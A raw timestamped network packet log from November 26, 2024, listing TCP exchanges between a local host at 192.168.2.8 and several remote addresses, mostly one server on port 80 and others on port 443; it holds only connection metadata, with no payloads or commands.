Nov 26, 2024 08:03:50.595560074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.596391916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.596443892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.596467972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.596497059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.597311974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.597434998 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.597482920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.598145008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.598187923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.598278999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.598313093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.599056005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.599097013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.599147081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.599179983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.599952936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.600049019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.600066900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.600099087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.600863934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.600923061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.642992973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.700728893 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.701020956 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.701045990 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.702325106 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.702388048 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.703304052 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.703380108 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.744426966 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.744436026 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.752530098 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.752748013 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.752765894 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.753885984 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.753947973 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.754218102 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.754364014 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.764252901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.786115885 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.805408955 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:50.805435896 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:50.815840960 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.815933943 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.816046000 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:50.817363977 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:50.817379951 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.822992086 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.823019981 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.823075056 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.823098898 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.823923111 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.823951006 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.824071884 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.824127913 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.824146032 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.852655888 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:51.098845959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.098884106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.098942041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.099148035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.099159956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.099199057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.099603891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.099658012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.099703074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.099749088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.100516081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.100564957 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.100569963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.100608110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.101416111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.101465940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.101502895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.101543903 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.102312088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.102371931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.102407932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.102464914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.103230000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.103319883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.103333950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.103403091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.104223967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.104284048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.104351044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.104455948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.105055094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.105145931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.105196953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.105245113 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.105921030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.105988979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.106025934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.106070042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.106837988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.106901884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.106941938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.106985092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.107747078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.107809067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.107825041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.107863903 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.108638048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.108690977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.108840942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.108880997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.109538078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.109596968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.109641075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.109680891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.110445023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.110531092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.110558987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.110579014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.111351967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.111407042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.111443996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.111490011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.112226009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.112277031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.112339020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.112497091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.113143921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.113204956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.113254070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.113301039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.114037037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.114089012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.114131927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.114177942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.114969015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.115026951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.115061998 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.115299940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.115849018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.115906954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.115930080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.115967989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.116792917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.116867065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.116913080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.116952896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.117786884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.117815018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.117841005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.117857933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.118539095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.118598938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.118634939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.118675947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.119471073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.119525909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.119590044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.119682074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.120347023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.120400906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.120446920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.120482922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.121305943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.121355057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.121359110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.121392965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.122138023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.122195959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.122252941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.122330904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.123147011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.123218060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.123218060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.123254061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.123986006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.124046087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.124058962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.124095917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.124849081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.124907017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.124942064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.125061035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.125765085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.125823021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.125876904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.126141071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.126665115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.126729012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.126775980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.126831055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.127620935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.127681017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.276854038 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.276895046 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.276952982 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.277194023 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.277210951 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.287695885 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.287744999 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.287796974 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.288804054 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.288816929 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.298841000 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.298880100 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.298960924 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.299190998 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:51.299207926 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:51.309454918 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.309513092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.395987988 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.397219896 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.397247076 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.398241997 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.398730040 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.398901939 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.398912907 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.398981094 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.445151091 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.863679886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.863717079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:51.880500078 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.880523920 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.880574942 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.880595922 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.880608082 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.880641937 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.881484985 CET	49820	443	192.168.2.8	20.96.153.111
Nov 26, 2024 08:03:51.881504059 CET	443	49820	20.96.153.111	192.168.2.8
Nov 26, 2024 08:03:51.983697891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:51.983728886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:52.522715092 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.523149967 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.523174047 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.524194002 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.524270058 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.524596930 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.524660110 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.524800062 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.555969954 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.556483030 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.556550980 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.556955099 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.557672024 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.557753086 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.557874918 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.567332029 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.579123020 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.579130888 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.591871977 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.594660044 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.594685078 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.595082045 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.597317934 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.597403049 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.598795891 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.599335909 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.622545004 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:52.643338919 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:52.820060968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:52.820143938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:52.924052954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.044152021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.079345942 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079376936 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079384089 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079411983 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079428911 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079440117 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079462051 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.079489946 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.079504013 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.079845905 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.118465900 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.118511915 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:53.118583918 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.119055986 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.119069099 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:53.124409914 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.124434948 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.124449968 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.124500036 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.124531031 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.124543905 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.124568939 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.181701899 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.181730986 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.181745052 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.181799889 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.181824923 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.181879997 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.192126989 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.192142010 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.192176104 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.192203999 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.192228079 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.192241907 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.192260981 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.200371981 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.200522900 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.249011040 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.249042034 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.249087095 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.249114037 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.249130011 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.249329090 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.249334097 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.271188021 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.271224976 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.271269083 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.271297932 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.271323919 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.271348000 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.294882059 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.294913054 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.294956923 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.294976950 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.294998884 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.295013905 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.302980900 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.303039074 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.303380966 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.325491905 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.325517893 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.325579882 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.325593948 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.325618029 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.325637102 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.367789030 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.367815971 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.367899895 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.367924929 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.368113995 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.380340099 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.380419016 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.382580996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.382653952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.382668972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.382725954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.392004013 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.392028093 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.392081022 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.392091990 CET	443	49821	23.200.3.19	192.168.2.8
